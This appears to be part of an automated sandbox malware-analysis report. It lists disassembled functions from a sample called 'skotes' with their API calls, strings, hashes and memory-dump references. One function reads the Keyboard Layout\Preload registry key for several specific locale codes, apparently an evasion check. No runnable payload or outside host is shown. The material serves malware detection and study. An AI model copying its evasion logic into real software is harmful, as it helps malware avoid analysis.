Opcode Fuzzy Hash: c3b95ee9fb0746efa2222e4c0031231f8b350f1fcb8335273937c38ce1ade63d
Instruction Fuzzy Hash: F2B1D5B15101189BDB24DF28CC85B9DBBE5EF45304F5041E9F508972E2DB719AC4CFA9

Function 00B86020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 00B8617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00B86271

Strings

00000419, xrefs: 00B86098
0000043f, xrefs: 00B8612B
00000423, xrefs: 00B860FA
00000422, xrefs: 00B860C9
Keyboard Layout\Preload, xrefs: 00B86054

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: de18f0cdc4dc22f8bf985234d7d857ae293820d89f26b753dbd4728731ab5b4f
Instruction ID: bcd1448fb49447d17c198b93fbbc0e9cf96c080c0f5d650879cbdc9dcf277755
Opcode Fuzzy Hash: de18f0cdc4dc22f8bf985234d7d857ae293820d89f26b753dbd4728731ab5b4f
Instruction Fuzzy Hash: 3DB19D719002689BDB24DB54CC85BDEB7B9EF15300F5402E9E508E72A1DB74AFA8CF94

Function 00B87D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00B87ED3

Strings

JjssOl==, xrefs: 00B8813A
JjsrQV==, xrefs: 00B88092
JjsrPl==, xrefs: 00B8828A
JjssPV==, xrefs: 00B881E2

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: ced39a95bdf0e69d3dbeb2ab41bcc04aa5a569734f2471ef2a86ceb90f08a0ef
Instruction ID: f453b0f4a7722b929a642d72225f83bdde56f364109b9ecc0e865e2769e761e2
Opcode Fuzzy Hash: ced39a95bdf0e69d3dbeb2ab41bcc04aa5a569734f2471ef2a86ceb90f08a0ef
Instruction Fuzzy Hash: 11E1D270E006449BDB24BB688C4B79D7BE1AB42724F9442DCE4156B3E2DF758E80CBC6

Function 00BC1ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BC1775: CreateFileW.KERNEL32(00000000,00000000,?,00BC1B65,?,?,00000000,?,00BC1B65,00000000,0000000C), ref: 00BC1792

__dosmaperr.LIBCMT ref: 00BC1BD7
GetFileType.KERNEL32(00000000), ref: 00BC1BE3
__dosmaperr.LIBCMT ref: 00BC1BF6
__dosmaperr.LIBCMT ref: 00BC1D9C

Strings

H, xrefs: 00BC1D21

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: 08e8e06ad0ffe8bda9ef510ae0e39edf65156224e6687d3d4c42a12a811fd946
Instruction ID: a64bd0559aca4b22fc82f77d017e2641da178e7f5e57fcf5059082d95bb3468c
Opcode Fuzzy Hash: 08e8e06ad0ffe8bda9ef510ae0e39edf65156224e6687d3d4c42a12a811fd946
Instruction Fuzzy Hash: ADA1E332A041548FCF199F6CC891BAE3BE1EB57324F14059DE812BF292DA759D12CB51

Function 00BC26F2 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 172
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00BD6758), ref: 00BC275C

Strings

Eastern Standard Time, xrefs: 00BC27CB
Eastern Summer Time, xrefs: 00BC27FA

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 565725191-239921721
Opcode ID: 8f9d2ee6eeea86d875c72d8171e8201cab4d2c9ae5f8814013fc8b8ea4da3150
Instruction ID: 2fec887d9ab8757c36e4a14a7dde171edcad88d503c4f99e2eb75b0bbaec27e6
Opcode Fuzzy Hash: 8f9d2ee6eeea86d875c72d8171e8201cab4d2c9ae5f8814013fc8b8ea4da3150
Instruction Fuzzy Hash: 4451F572900255ABDB10EF69CCC1EAE77FCEF54360B1402EEE510A71A1EB709E418B60

Function 00B87590 Relevance: 4.7, APIs: 3, Instructions: 158
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,27FDA369,?,00000000,00BC9138,000000FF), ref: 00B875CC
CreateThread.KERNEL32(00000000,00000000,00B87430,00BE8638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00B876BE
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00B876C9

Part of subcall function 00B9D0C7: RtlWakeAllConditionVariable.NTDLL ref: 00B9D17B

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
